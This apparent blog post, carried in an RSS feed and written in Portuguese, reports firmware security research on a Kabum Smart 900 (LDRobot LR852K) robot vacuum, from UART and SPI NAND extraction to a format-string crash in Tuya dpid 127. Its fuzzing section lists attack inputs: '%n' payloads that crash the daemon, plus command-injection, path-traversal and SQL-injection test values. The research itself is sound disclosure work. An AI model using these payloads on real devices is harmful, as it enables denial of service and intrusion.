<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[t1m3rev]]></title><description><![CDATA[t1m3rev]]></description><link>https://t1m3rev.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6a107e9e1f237623ea0e01ee/da516bbf-5642-4b16-bd11-db0527f58fd1.png</url><title>t1m3rev</title><link>https://t1m3rev.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 22 Sep 2026 12:33:41 GMT</lastBuildDate><atom:link href="https://t1m3rev.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Análise de Segurança de Firmware no Kabum Smart 900 (LDRobot LR852K): Extração via SPI NAND e Descoberta de Vulnerabilidades]]></title><description><![CDATA[Dispositivo: Kabum Smart 900 (white-label; o firmware se identifica como LDRobot LR852K, marca de consumo VeniiBOT) SoC: Allwinner R328-S3 (sun8iw18, ARM Cortex-A7) Firmware: CleanPack3, versão mr112-]]></description><link>https://t1m3rev.hashnode.dev/an-lise-de-seguran-a-de-firmware-no-kabum-smart-900-ldrobot-lr852k-extra-o-via-spi-nand-e-descoberta-de-vulnerabilidades</link><guid isPermaLink="true">https://t1m3rev.hashnode.dev/an-lise-de-seguran-a-de-firmware-no-kabum-smart-900-ldrobot-lr852k-extra-o-via-spi-nand-e-descoberta-de-vulnerabilidades</guid><category><![CDATA[hardwarehacking]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[hacking]]></category><category><![CDATA[iot]]></category><dc:creator><![CDATA[Viktor Mota]]></dc:creator><pubDate>Mon, 17 Aug 2026 16:23:56 GMT</pubDate><content:encoded><![CDATA[<p><strong>Dispositivo:</strong> Kabum Smart 900 (white-label; o firmware se identifica como LDRobot LR852K, marca de consumo VeniiBOT) <strong>SoC:</strong> Allwinner R328-S3 (sun8iw18, ARM Cortex-A7) <strong>Firmware:</strong> CleanPack3, versão <code>mr112-LR852K-0_1_12-Release-UDisk</code> <strong>SDK Tuya:</strong> WiFi+SD SDK V:4.3.1, protocolo LAN 3.3</p>
<h2>1. Introdução</h2>
<p>Comprei um robô aspirador vendido no Brasil como Kabum Smart 900. Dispositivo barato, com integração Tuya pra controle pelo app. WiFi, LiDAR, aspiração, mop, a proposta padrão do segmento de robôs conectados. Não comprei pra pesquisa. Comprei pra limpar a casa.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/72300e56-e5bd-46ce-91fa-d9788c70ff73.png" alt="" style="display:block;margin:0 auto" />

<p>Uma coisa que vale dizer logo de cara, porque explica todas as strings que aparecem daqui pra frente: por fora a caixa diz Kabum Smart 900, mas por dentro o firmware se identifica como <strong>LDRobot LR852K</strong>, com a marca de consumo VeniiBOT. É white-label clássico. A Kabum vende sob marca própria um robô fabricado pela LDRobot (Shenzhen LDRobot), então o board, o framework de firmware (<code>cleanpack3</code>) e os domínios (<code>veniibot.com</code>) apontam todos pra LDRobot. Quando eu falar "LR852K" no resto do paper, é esse mesmo bicho na sua caixa da Kabum.</p>
<p>Depois de uns meses usando, comecei a pensar no que aquele dispositivo realmente fazia na minha rede. O app Tuya controla tudo: agenda, potência, mapeamento, pacotes de voz. O robô mantém uma conexão MQTT persistente com a nuvem Tuya (porta 8883 TLS, fallback 1883 plaintext). Recebe comandos, manda telemetria, aceita atualizações de firmware OTA. É um computador Linux rodando como root na minha rede doméstica, permanentemente conectado a um servidor chinês, com uma exposição que eu nunca tinha olhado.</p>
<p>Resolvi olhar.</p>
<p>O que se seguiu foram semanas de engenharia reversa: soldagem de fios em chip NAND sob lupa, dumps de 128 MB via SPI, luta contra o Allwinner NFTL que embaralha páginas e impede extração limpa de binários, fuzzing de data points Tuya, e análise estática de strings em ELFs parcialmente corrompidos. No final encontrei três vulnerabilidades. Uma format string confirmada, com DoS demonstrado, e duas injeções de comando OS fortemente inferidas a partir de evidências em rodata e scripts embarcados.</p>
<p>Também apelei para o reddit (<a href="https://www.reddit.com/r/hardwarehacking/comments/1vnpnzc/stuck_in_lowprivilege_uart_shell_on_liectroux_g7/">https://www.reddit.com/r/hardwarehacking/comments/1vnpnzc/stuck_in_lowprivilege_uart_shell_on_liectroux_g7/</a>) pois identifiquei os pinos de UART e o restante é desconhecido para mim. Vi que esses robôs geralmente possuem modo FEL e para isso utiliza uma porta USB OTG que não existe no meu. Também não consegui identificar os pads de d+/d- para tentar uma conexão direta via USB, que com modo FEL provavelmente deixaria esse post beeeeem menor e mais produtivo. Vida que segue.</p>
<p>Segue o fio.</p>
<hr />
<h2>2. Visão Geral do Dispositivo</h2>
<table>
<thead>
<tr>
<th>Componente</th>
<th>Valor</th>
</tr>
</thead>
<tbody><tr>
<td>SoC</td>
<td>Allwinner R328-S3 (sun8iw18), dual ARM Cortex-A7 @ ~1 GHz (1008 MHz no boot log)</td>
</tr>
<tr>
<td>RAM</td>
<td>DDR3, 128 MiB, 792 MHz (integrada ao SoC)</td>
</tr>
<tr>
<td>Flash</td>
<td>XT26G01CWSIG SPI NAND, 1 Gbit (128 MB), 2048+128 bytes/página, WSON8 8x6 mm</td>
</tr>
<tr>
<td>Bootloader</td>
<td>U-Boot Allwinner (branch tina)</td>
</tr>
<tr>
<td>Kernel</td>
<td>Linux (build OpenWrt/Linaro GCC 6.4-2017.11)</td>
</tr>
<tr>
<td>Userspace</td>
<td>Tina Linux (derivado OpenWrt), init procd</td>
</tr>
<tr>
<td>Board ID</td>
<td>mr112</td>
</tr>
<tr>
<td>Console UART</td>
<td>ttyS0, 115200 8N1</td>
</tr>
<tr>
<td>Conectividade</td>
<td>WiFi 2.4 GHz (Tuya IoT SDK), sem Bluetooth, sem USB exposto</td>
</tr>
<tr>
<td>Sensores</td>
<td>LiDAR, bumper, cliff, giroscópio</td>
</tr>
<tr>
<td>Build CI</td>
<td>Jenkins em <code>/var/lib/jenkins/workspace/cleanpack3/</code></td>
</tr>
<tr>
<td>SDK de build</td>
<td><code>/home/peter/r328_sdk/</code></td>
</tr>
<tr>
<td>Tuya SDK</td>
<td>WiFi+SD SDK V:4.3.1</td>
</tr>
</tbody></table>
<p>O Allwinner R328 é um SoC de aplicação genérico, encontrado em caixas de som inteligentes, painéis de controle e aparelhos IoT de consumo. Roda ARM Cortex-A7, arquitetura ARMv7-A, com NEON. O firmware é baseado em Tina Linux, a distro OpenWrt que a Allwinner mantém pros seus SoCs. O toolchain é OpenWrt/Linaro GCC 6.4-2017.11, versão 6.4.1. Uma observação já aqui: o boot log do U-Boot reporta CPU a 1008 MHz, então uso esse número em vez do clock máximo de datasheet.</p>
<p>A flash é uma SPI NAND de 1 Gbit da XTX Technology, modelo XT26G01CWSIG. Package WSON8 (8x6 mm), com ECC de 8 bits on-die e spare area de 128 bytes por página. Isso é relevante porque SPI NAND não é SPI NOR. SPI NOR é linear, byte-endereçável, trivial de dumpar. SPI NAND opera em páginas de 2048 bytes com spare area, usa ECC interno, e no caso do Allwinner roda sobre NFTL (NAND Flash Translation Layer), uma camada de mapeamento página a página que embaralha a localização física dos dados. Isso vai ser o maior obstáculo da análise.</p>
<p>O build indica integração contínua Jenkins, com path de workspace apontando pra <code>cleanpack3</code>, que é o framework de firmware da LDRobot. O SDK de compilação em <code>/home/peter/r328_sdk/</code> confirma que o firmware é compilado a partir do SDK oficial da Allwinner, provavelmente um R328 SDK Tina Linux.</p>
<hr />
<h2>3. Acesso Físico e UART</h2>
<h3>Abrindo o robô</h3>
<p>Abrir um robô aspirador não é como abrir um roteador. Roteador tem dois parafusos, uns clipes e uma PCB. Robô aspirador tem parafusos escondidos sob adesivos, clips que parecem de encaixe mas são de pressão, e um empilhamento de módulos que dificulta enxergar o que é PCB principal e o que é PCB de motor.</p>
<p>Removi a tampa inferior, desparafusei o módulo LiDAR e cheguei na PCB principal. Encontrei um header JST de 9 pinos, não vazado, no canto da placa. Debug header clássico de produção, provavelmente o vendor usa pra diagnóstico em fábrica e nunca desabilitou.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/7286ba15-0f13-4209-b352-db5c6ee14377.png" alt="" style="display:block;margin:0 auto" />

<p>Um detalhe interessante: Após abrir tudo, desmontar completamente, eu percebi que só de tirar a tampa superior e desparafusar o case do LIDAR eu teria acesso a esses pinos de debug lol (a imagem a seguir é um trabalho porco de solda após quebrar o JST, não leve a sério).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/7ebc5bb9-fc1f-4fc0-ba4a-0cc7d1f01a54.png" alt="" style="display:block;margin:0 auto" />

<h3>Identificação dos pinos</h3>
<p>Sem silkscreen, fui por multímetro e por tentativa. Dos 9 pinos, identifiquei:</p>
<table>
<thead>
<tr>
<th>Pino</th>
<th>Função</th>
</tr>
</thead>
<tbody><tr>
<td>4</td>
<td>RX (entrada do SoC)</td>
</tr>
<tr>
<td>5</td>
<td>TX (saída do SoC)</td>
</tr>
<tr>
<td>7</td>
<td>GND</td>
</tr>
</tbody></table>
<p>TX em idle marca 3.3 V constante e oscila durante o boot. RX puxa pull-up fraco. GND dá continuidade com o terra do chassis. Os outros pinos eu não investiguei além do voltímetro. Podem ser JTAG, GPIO de teste ou alimentação.</p>
<h3>Conexão serial</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/b0667303-6f82-4237-b225-281f60ddf32e.png" alt="" style="display:block;margin:0 auto" />

<p>Conectei via bridge usando um Flipper Zero em UART bridge, com os fios cruzados (TX do alvo no RX do bridge, e vice-versa). Baud rate 115200, configuração 8N1, que é o padrão pra Allwinner. Confirmei posteriomente pelo kernel cmdline que aparece no boot log:</p>
<pre><code class="language-plaintext">console=ttyS0,115200
</code></pre>
<p>O boot log saiu limpo, legível, sem caracteres corrompidos. Capturei com <code>tio</code>:</p>
<pre><code class="language-bash">tio -b 115200 -t -l --log-file ~/pesquisa/robo/uart_capture.log /dev/ttyUSB0
</code></pre>
<hr />
<h2>4. Reconhecimento Inicial</h2>
<h3>U-Boot</h3>
<p>O boot começa com o banner do U-Boot Allwinner. Vi o log de inicialização do SoC, a configuração de DRAM, a detecção da NAND flash (<code>xt26g01c</code> identificado pelo driver). Tentei interromper o boot pra cair no CLI do U-Boot.</p>
<p>Não consegui.</p>
<p>Mandei <code>Enter</code>, <code>Escape</code>, <code>Ctrl+C</code>, <code>espaço</code>, toda combinação que conheço, durante a janela de boot. O bootloader simplesmente ignora. Provavelmente a janela de <code>bootdelay</code> está zerada ou a interrupção foi desabilitada no build. Sem acesso ao CLI do U-Boot, perdi a capacidade de dumpar flash por <code>md.b</code> (como fiz no TP-Link RE305), de inspecionar o environment e de fazer TFTP boot. O robô boota direto pro Linux.</p>
<h3>Shell de guest</h3>
<p>Quando o Linux termina de bootar, o console UART cai num prompt de login. Testei combinações padrão. Root pede senha. Tentei as clássicas de dispositivos chineses: <code>admin</code>, <code>root</code>, <code>1234</code>, <code>12345</code>, <code>password</code>, <code>toor</code>, senha vazia. Nenhuma funcionou.</p>
<p>Insanamente, o robô mesmo sendo chinês não tinha uma senha padrão como as vistas no mercado. Em roteadores baratos da Tenda, da Intelbras, do mercado genérico, a senha root é <code>admin</code> ou vazia. Aqui não. Alguém no time da LDRobot fez o mínimo de segurança e colocou uma senha real no root.</p>
<p>Tentei <code>guest</code>. Sem senha. Entrou.</p>
<p>O shell do guest é extremamente restrito. Não é um BusyBox completo, não é um <code>sh</code> funcional. Dos comandos que testei:</p>
<ul>
<li><p><code>ls</code>, <code>cat</code>, <code>echo</code> funcionam</p>
</li>
<li><p><code>ps</code>, <code>top</code>, <code>netstat</code> inexistentes ou bloqueados</p>
</li>
<li><p><code>cd /</code> funciona, mas a maioria dos diretórios relevantes (<code>/proc</code>, <code>/sys</code>, <code>/dev</code>) tem permissões limitadas</p>
</li>
<li><p><code>id</code> retorna <code>uid=500(guest)</code>, sem nenhum grupo privilegiado</p>
</li>
<li><p><code>su root</code> su não é um suid e não funciona.</p>
</li>
<li><p>qualquer tentativa de acessar binários do sistema ou listar processos é bloqueada</p>
</li>
</ul>
<p>É a diferença entre ter um shell e ter acesso. O guest vê quase nada. Os binários interessantes (<code>network_proxy_2</code>, <code>CleanPackApp</code>) rodam como root e não são legíveis pelo guest. Os diretórios de configuração em <code>/userdata/</code> têm permissões restritas. Consegui ver o hostname, a versão de firmware (<code>mr112-LR852K-0_1_12-Release-UDisk</code>) e pouco mais.</p>
<p>A limitação do shell de guest foi o que me empurrou pro caminho do dump de flash. Se eu tivesse root, poderia ter feito <code>dd if=/dev/mtdX</code> e extraído tudo limpo. Sem root, a única opção era ir pro hardware.</p>
<hr />
<h2>5. Extração de Firmware</h2>
<h3>O chip</h3>
<p>A flash é um XT26G01CWSIG da XTX Technology. SPI NAND, 1 Gbit (128 MB), package WSON8 (8x6 mm). WSON8 é um package plano, sem pinos expostos. Os contatos são pads na parte inferior do chip, rente à PCB.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/dc8b5bbb-b70d-4027-af2c-663b11cf52d6.png" alt="" style="display:block;margin:0 auto" />

<h3>Tentativa com clip (fracasso)</h3>
<p>Primeira tentativa foi a abordagem rápida: programador CH341A com clip SOP8/WSON8, leitura in-circuit sem dessoldar. Funciona perfeitamente em SPI NOR com package SOP8, onde os pinos ficam expostos nas laterais do chip e o clip agarra bem.</p>
<p>WSON8 é outra história. Os pads ficam embaixo do chip. O clip de teste que eu tinha simplesmente não conseguia fazer contato confiável. Encostava em um pad, perdia outro. Às vezes lia lixo, às vezes não detectava o chip. Perdi horas tentando posicionar o clip de formas criativas. Não funcionou.</p>
<p>Para complicar ainda mais, toda a placa é revestida com um plástico/silicone que provavelmente seja para proteger a placa de umidade e água (o robô passa pano).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/0aacdcb0-d84d-442a-ae08-940ecc695128.png" alt="" style="display:block;margin:0 auto" />

<h3>Soldagem in-circuit</h3>
<p>A solução foi soldar fios diretamente nos pads do chip. Com o chip ainda montado na PCB (in-circuit), soldei micro fios esmaltados nos 8 pads do WSON8 usando ferro de solda com ponta fina e auxílio de lupa. Cada fio com menos de 1 cm entre o pad e um ponto de ancoragem na PCB, pra evitar que tensão mecânica arrancasse a solda.</p>
<p>Os sinais relevantes pra leitura SPI:</p>
<table>
<thead>
<tr>
<th>Pino WSON8</th>
<th>Sinal</th>
<th>Conexão</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>CS# (Chip Select)</td>
<td>CH341A CS</td>
</tr>
<tr>
<td>2</td>
<td>SO/IO1 (Data Out)</td>
<td>CH341A MISO</td>
</tr>
<tr>
<td>3</td>
<td>WP#/IO2</td>
<td>Pull-up 3.3V</td>
</tr>
<tr>
<td>4</td>
<td>GND</td>
<td>CH341A GND</td>
</tr>
<tr>
<td>5</td>
<td>SI/IO0 (Data In)</td>
<td>CH341A MOSI</td>
</tr>
<tr>
<td>6</td>
<td>CLK</td>
<td>CH341A CLK</td>
</tr>
<tr>
<td>7</td>
<td>HOLD#/IO3</td>
<td>Pull-up 3.3V</td>
</tr>
<tr>
<td>8</td>
<td>VCC</td>
<td>CH341A 3.3V</td>
</tr>
</tbody></table>
<p>Nada fancy, mas funciona.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/d12ec753-1a38-4b40-bc87-3bb24429d526.png" alt="" style="display:block;margin:0 auto" />

<p>A leitura in-circuit tem um risco: o SoC também está conectado aos mesmos pinos SPI. Se o SoC estiver ativo, ele pode driving o barramento e corromper a leitura. A mitigação é manter o SoC em reset durante a leitura, ou pelo menos garantir que ele não esteja driving os pinos SPI. No meu caso, alimentei o chip pela 3.3 V do CH341A com o robô desligado. O regulador principal do robô ficou inativo, então o SoC não tinha alimentação pra interferir. Funcionou, mas é a abordagem rude. Em cenários mais limpos, dessoldar o chip seria mais seguro.</p>
<h3>SNANDer e o dump</h3>
<p>Usei o SNANDer, ferramenta open-source de leitura e escrita de SPI NAND (além de NOR e EEPROM) via CH341A, pra ler a flash. O SNANDer suporta SPI NAND, detectou o XT26G01CWSIG pelo JEDEC ID e fez o dump completo de 128 MB:</p>
<pre><code class="language-bash">./SNANDer -r dump.bin
</code></pre>
<p>O dump levou uns 20 minutos. 128 MB de dados brutos, incluindo a spare area de 128 bytes por página (usada pra ECC e metadados do NFTL).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/748b506b-1ca2-4d6c-bc5a-60db5dee4399.png" alt="" style="display:block;margin:0 auto" />

<h3>Validação: dois dumps</h3>
<p>Fiz dois dumps independentes (desconectei, reconectei, re-dumpei) e comparei:</p>
<pre><code class="language-bash">sha256sum dump.bin dump2.bin
# 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8  dump.bin
# 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8  dump2.bin
</code></pre>
<p>Checksums idênticos. A leitura é determinística e a soldagem está boa. Se houvesse contato intermitente ou interferência do SoC, os dumps divergiriam. Dois dumps iguais significam leitura confiável.</p>
<hr />
<h2>6. Análise do Firmware</h2>
<h3>O problema do NFTL</h3>
<p>Aqui começou o inferno.</p>
<p>Em dispositivos com SPI NOR (como o TP-Link RE305 que analisei antes), a flash é linear. Byte 0 do dump é o byte 0 da flash. Binwalk roda, extrai squashfs, pronto. Análise direta.</p>
<p>Em dispositivos com SPI NAND sob Allwinner, a história é completamente diferente. O Allwinner usa um NFTL proprietário que faz mapeamento página a página. As páginas lógicas que o sistema operacional vê não estão nas mesmas posições físicas no chip. O NFTL redistribui páginas pra wear leveling, bad block management e garbage collection. O dump bruto que eu tenho é a visão física da flash, com as páginas embaralhadas.</p>
<p>Na prática, isso significa que:</p>
<ol>
<li><p><strong>Strings em rodata são legíveis.</strong> Strings de texto ficam dentro de páginas individuais, e a maioria cabe em uma única página de 2048 bytes. O NFTL embaralha a ordem das páginas, mas o conteúdo de cada página está intacto. <code>strings</code> no dump bruto funciona perfeitamente.</p>
</li>
<li><p><strong>Binários ELF não são extraíveis de forma limpa.</strong> Um ELF de 1.9 MB ocupa centenas de páginas. O NFTL embaralha a ordem dessas páginas. Os headers ELF ficam na primeira página (intactos), mas as seções de código (.text) estão distribuídas em páginas fora de ordem. O binário não disassembla corretamente.</p>
</li>
<li><p><strong>O filesystem UBI/UBIFS não é montável.</strong> O dump bruto não contém os metadados OOB no formato que o <code>ubireader</code> espera. Seria necessário um dump com os dados OOB separados, ou acesso ao device vivo pra extrair via <code>dd</code> das partições MTD.</p>
</li>
</ol>
<p>Essa é a razão pela qual as vulnerabilidades de injeção de comando estão classificadas como STRONGLY INFERRED em vez de CONFIRMED. Eu consigo ver as strings formatadoras, os imports de <code>system()</code>, a ausência de sanitização, mas não consigo disassemblar o fluxo de instruções pra provar que <code>snprintf</code> alimenta <code>system()</code> diretamente, porque as páginas de código estão embaralhadas pelo NFTL.</p>
<h3>O que funcionou</h3>
<p>Apesar do NFTL, a análise estática por strings foi extremamente produtiva. O dump de 128 MB contém toda a informação textual do firmware:</p>
<ul>
<li><p><strong>Source annotations.</strong> Paths completos de arquivos-fonte como <code>network_proxy_2/src/base/wifi_config_base.cpp</code> e <code>network_proxy_2/src/logic/voice_package.cpp</code>. O compilador embarcou as anotações de <code>__FILE__</code> nos binários.</p>
</li>
<li><p><strong>Format strings.</strong> Comandos shell completos como <code>sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s"</code> e <code>rm -rf %s/%s &amp;&amp; tar -zxf %s/%s -C %s &amp;&amp; cp %s/Q001.mp3 %s/</code>.</p>
</li>
<li><p><strong>Log messages.</strong> Strings de debug que documentam o fluxo: <code>"wifi cmd %s"</code>, <code>"voicd package apply cmd: %s"</code>, <code>"wifi pwd is less than 8 char"</code>.</p>
</li>
<li><p><strong>Import tables.</strong> As tabelas de símbolos dinâmicos dos ELFs ficam nas primeiras páginas e sobrevivem ao NFTL. Pude listar imports como <code>system()</code>, <code>__snprintf_chk</code>, <code>__printf_chk</code>, <code>__stack_chk_fail</code>.</p>
</li>
<li><p><strong>Shell scripts.</strong> Scripts embarcados no filesystem aparecem como texto plano no dump. Encontrei <code>cleanpack_mode</code>, scripts de boot, configs do sistema.</p>
</li>
<li><p><strong>Password hashes.</strong> O <code>/etc/shadow</code> aparece em texto claro no dump.</p>
</li>
</ul>
<p>O NFTL também causa duplicação. O wear leveling copia páginas pra diferentes blocos físicos, então a mesma string aparece em múltiplos offsets do dump. Isso inicialmente confunde (por que a string aparece 5 vezes?), mas na prática funciona como confirmação. Se um format string aparece em 5 offsets distintos com o mesmo conteúdo, é certamente código de produção, não dead code nem string remanescente de uma versão anterior.</p>
<h3>Extração parcial de ELFs</h3>
<p>Consegui extrair ELFs parciais buscando por magic bytes (<code>\x7fELF</code>) no dump e recortando a partir daí. Os headers ELF, program headers e tabelas de símbolos ficam no início do arquivo e geralmente estão na mesma página ou em páginas consecutivas que por acaso não foram reorganizadas. Extraí 25 binários únicos, dos quais os mais relevantes:</p>
<table>
<thead>
<tr>
<th>Binário</th>
<th>Tamanho</th>
<th>Tipo</th>
<th>Identificação</th>
</tr>
</thead>
<tbody><tr>
<td>network_proxy_2</td>
<td>~1.9 MB</td>
<td>ELF dinâmico</td>
<td>Daemon principal de rede, Tuya SDK</td>
</tr>
<tr>
<td>CleanPackApp</td>
<td>~540 KB</td>
<td>ELF estático</td>
<td>Aplicação principal do robô</td>
</tr>
<tr>
<td>voice package lib</td>
<td>~100 KB</td>
<td>ELF dinâmico</td>
<td>Biblioteca de pacotes de voz</td>
</tr>
</tbody></table>
<p>Os headers e imports desses ELFs são legíveis. As seções de código não são. As instruções ARM estão em páginas embaralhadas. É possível disassemblar trechos individuais de uma página, mas não reconstituir o fluxo de controle entre páginas.</p>
<h3>Ferramentas</h3>
<ul>
<li><p><strong>SNANDer.</strong> Dump da SPI NAND via CH341A.</p>
</li>
<li><p><strong>strings + grep.</strong> Análise principal de rodata e scripts embarcados.</p>
</li>
<li><p><strong>hexdump / xxd.</strong> Inspeção binária de offsets específicos.</p>
</li>
<li><p><strong>readelf.</strong> Leitura de headers e import tables dos ELFs extraídos.</p>
</li>
<li><p><strong>Python.</strong> Scripts de extração e correlação de offsets.</p>
</li>
<li><p><strong>Radare2.</strong> Tentativa de disassembly, limitada pelo NFTL.</p>
</li>
</ul>
<hr />
<h2>7. Postura de Segurança da Plataforma</h2>
<p>Antes de entrar nas vulnerabilidades específicas, vale documentar o que a plataforma faz certo e o que não faz. Isso contextualiza o impacto real de cada achado.</p>
<h3>FORTIFY_SOURCE, presente e ativo</h3>
<p>O toolchain GCC 6.4 compilou os binários com <code>FORTIFY_SOURCE</code>. Confirmei pela presença de funções hardened nas tabelas de importação.</p>
<p><strong>network_proxy_2 (daemon principal):</strong></p>
<pre><code class="language-plaintext">__memcpy_chk
__printf_chk
__snprintf_chk
__sprintf_chk
__vsnprintf_chk
__strcpy_chk
__stack_chk_fail
__stack_chk_guard
</code></pre>
<p><strong>voice package library:</strong></p>
<pre><code class="language-plaintext">__fdelt_chk
__memcpy_chk
__snprintf_chk
__stack_chk_fail
__stack_chk_guard
</code></pre>
<p>As funções <code>_chk</code> são as versões hardened da glibc que verificam buffer overflows e format string abuse em runtime. <code>__stack_chk_fail</code> e <code>__stack_chk_guard</code> são o mecanismo de stack canary. A presença desses símbolos nos imports dinâmicos significa que eles são de fato chamados, não é código morto.</p>
<p>Isso tem implicação direta na VD-01 (format string). O <code>%n</code> em format strings controladas pelo atacante é bloqueado pelo FORTIFY. A glibc detecta <code>%n</code> em segmento writable e chama <code>abort()</code>, produzindo SIGABRT em vez de SIGSEGV. O impacto é DoS (crash), não RCE (execução de código). Mais detalhes na seção da vulnerabilidade.</p>
<h3>O que está ausente</h3>
<ul>
<li><p><strong>Nenhuma sanitização de entrada pra shell commands.</strong> Não encontrei nenhuma função com nome sugestivo de sanitização (<code>escap</code>, <code>sanitiz</code>, <code>filter</code>, <code>quot</code>, <code>shell</code>) nos binários analisados. Os format strings de comando shell usam <code>%s</code> direto.</p>
</li>
<li><p><strong>Verificação de integridade de pacotes só com MD5.</strong> Downloads de pacotes de voz são verificados com MD5 apenas. Sem assinatura criptográfica (RSA, ECDSA, Ed25519). MD5 não é verificação de autenticidade.</p>
</li>
<li><p><strong>Root everywhere.</strong> Os serviços principais rodam como root. O <code>network_proxy_2</code> processa dados de rede como root. O <code>system()</code> que ele chama executa como root. Não há separação de privilégios, não há containers, não há seccomp. Compromisso do daemon é root completo no device.</p>
</li>
</ul>
<h3>GCC e toolchain</h3>
<pre><code class="language-plaintext">OpenWrt/Linaro GCC 6.4-2017.11 6.4.1
</code></pre>
<p>GCC 6.4 é de 2017. Não é antigo a ponto de ser escandaloso (já vi kernel 2.6.36 de 2010 no TP-Link RE305), mas está a várias gerações major de distância das mitigações modernas. O <code>-fstack-protector-strong</code> está presente (evidenciado pelos canaries), o <code>FORTIFY_SOURCE</code> está presente (nível 1 ou 2), mas mitigações como CFI (Control Flow Integrity) e shadow call stacks exigem GCC 8+ ou Clang.</p>
<hr />
<h2>8. VD-01: Format String em Tuya dpid 127</h2>
<p><strong>CWE:</strong> CWE-134 (Use of Externally-Controlled Format String) <strong>Confiança:</strong> CONFIRMED, DoS demonstrado com 3 crashes independentes <strong>CVSS 3.1:</strong> 6.5 (<code>AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</code>)</p>
<h3>Contexto</h3>
<p>O protocolo Tuya define "data points" (dpids) como canais de dados entre o app e o dispositivo. Cada dpid tem um ID numérico e transporta dados em formato JSON. O dpid 127 é usado pelo LR852K pra receber informações do app, processadas pelo handler <code>HandleRawData</code> no daemon <code>network_proxy_2</code>.</p>
<h3>Descoberta</h3>
<p>Montei um harness de fuzzing que enviava payloads variados pro dpid 127 e observava o comportamento do daemon pelo log serial. Strings longas, JSON aninhado, caracteres especiais, SQL injection, path traversal, integer overflow, e format specifiers. Dos 30+ payloads enviados, a maioria foi processada normalmente.</p>
<p>Os payloads com <code>%n</code> causaram crash imediato.</p>
<h3>Crashes documentados</h3>
<p>Sessão de fuzz em <strong>19 de maio de 2026, 06:36 às 06:47 UTC</strong>:</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Hora (UTC)</th>
<th>Payload</th>
<th>Latência</th>
<th>Sinal</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>06:38:38.780</td>
<td><code>{"fmt": "%n%n%n%n%n%n%n%n"}</code> (infoType 21030)</td>
<td>148 ms</td>
<td>SIGABRT (6)</td>
</tr>
<tr>
<td>2</td>
<td>06:44:15.881</td>
<td><code>{"fmt": "%n"}</code> (infoType 21019)</td>
<td>157 ms</td>
<td>SIGABRT (6)</td>
</tr>
<tr>
<td>3</td>
<td>06:46:49.407</td>
<td><code>{"ts": "%n%n%n%n"}</code> em envelope dInfo (infoType 21019)</td>
<td>71 ms</td>
<td>SIGABRT (6)</td>
</tr>
</tbody></table>
<p>O crash log extraído do dump NAND (byte offset 27531686):</p>
<pre><code class="language-plaintext">06:38:38.780 — Sent: {"fmt": "%n%n%n%n%n%n%n%n"} via dpid 127, infoType 21030
06:38:38.928 — Process crashed: thread info dump (utils.cpp:394)
               /tmp/AppRom/libsoc.so(+0x69434) [0xb6ec9434]
               /lib/libc.so.6(__default_sa_restorer+0) [0xb687f450]
06:38:39.192 — [NP 2026/5/19 06:38:39.192 F][main.cpp:28] Network Proxy Start.
</code></pre>
<p>O <code>Network Proxy Start</code> 264 ms depois do crash confirma o restart automático pelo <code>system_monitor</code>.</p>
<h3>Controles negativos</h3>
<p>Payloads que NÃO causaram crash:</p>
<ul>
<li><p><code>%99999999s</code> processado normalmente (tentativa de ler muitos bytes da stack, mas sem write)</p>
</li>
<li><p><code>$(id)</code> processado como string literal</p>
</li>
<li><p><code>`id`</code> idem</p>
</li>
<li><p><code>;id;</code> idem</p>
</li>
<li><p><code>../../../etc/passwd</code> idem</p>
</li>
<li><p>INT64_MIN, 2^128 processados sem erro</p>
</li>
<li><p>JSON aninhado profundo processado</p>
</li>
<li><p>Buffer de 4096 "A"s processado</p>
</li>
<li><p><code>' OR 1=1 --</code> processado</p>
</li>
</ul>
<p>Nenhum payload sem <code>%n</code> causou crash. A especificidade é diagnóstica: <code>%n</code> é o único format specifier que <strong>escreve</strong> na memória, os outros só leem. O fato de que somente <code>%n</code> causa crash, em todos os testes, confirma sem ambiguidade que dados do usuário estão sendo passados como format string pra uma função da família <code>printf</code>.</p>
<h3>Multi-field</h3>
<p>O crash #3 usou <code>%n</code> no campo <code>"ts"</code> do envelope JSON, não no campo <code>"data"</code>. Múltiplos campos JSON são vulneráveis. O parser provavelmente itera sobre os campos e processa cada valor com a mesma função de logging ou processamento que usa o valor como format string.</p>
<h3>Análise do sinal: SIGABRT, não SIGSEGV</h3>
<p>Os três crashes produziram SIGABRT (sinal 6). Se <code>%n</code> estivesse de fato escrevendo em memória (a primitiva de RCE clássica de format string), o sinal seria SIGSEGV (sinal 11), escrita em endereço inválido derivado da stack.</p>
<p>SIGABRT significa que algo chamou <code>abort()</code> antes do write acontecer. Quem faz isso é a glibc com <code>FORTIFY_SOURCE</code>: quando <code>__printf_chk</code> (ou <code>__vsnprintf_chk</code>, etc.) detecta <code>%n</code> em um format string que reside em segmento writable (stack, heap), ela aborta com a mensagem <code>*** %n in writable segment detected ***</code>.</p>
<p>Confirmação via import table do <code>network_proxy_2</code>:</p>
